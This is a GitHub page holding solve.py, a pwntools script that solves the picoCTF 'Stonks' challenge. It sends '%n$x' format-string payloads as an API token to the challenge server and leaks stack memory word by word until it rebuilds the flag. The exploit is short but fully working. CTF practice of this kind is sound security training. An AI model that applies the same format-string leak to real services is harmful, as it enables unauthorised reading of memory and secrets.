-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathsolve.py
executable file
·48 lines (29 loc) · 897 Bytes
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from pwn import context, p32, re, remote
context.log_level = 'CRITICAL'
def try_hex(s: str) -> str:
res = ''
for i in range(0, 8, 2):
try:
res += bytes.fromhex(s[i:i+2]).decode()
except ValueError:
pass
return res[::-1]
def extract_flag(s: str) -> str:
return re.search(r'picoCTF{.*?}', s)[0]
def dump(n: int) -> str:
p = remote('mercury.picoctf.net', 16439)
p.sendlineafter(b'2) View my portfolio', b'1')
p.sendlineafter(b'What is your API token?', f'%{n}$x'.encode())
p.recvuntil(b'Buying stonks with token:\n')
leak = p.recvuntil(b'\n').decode()
p.close()
return leak.strip()
def main():
flag = b''
for i in range(15, 24):
flag += p32(int(dump(i), 16))
flag += b'}'
print(f'Leaked flag: {flag.decode()}')
if __name__ == '__main__':
main()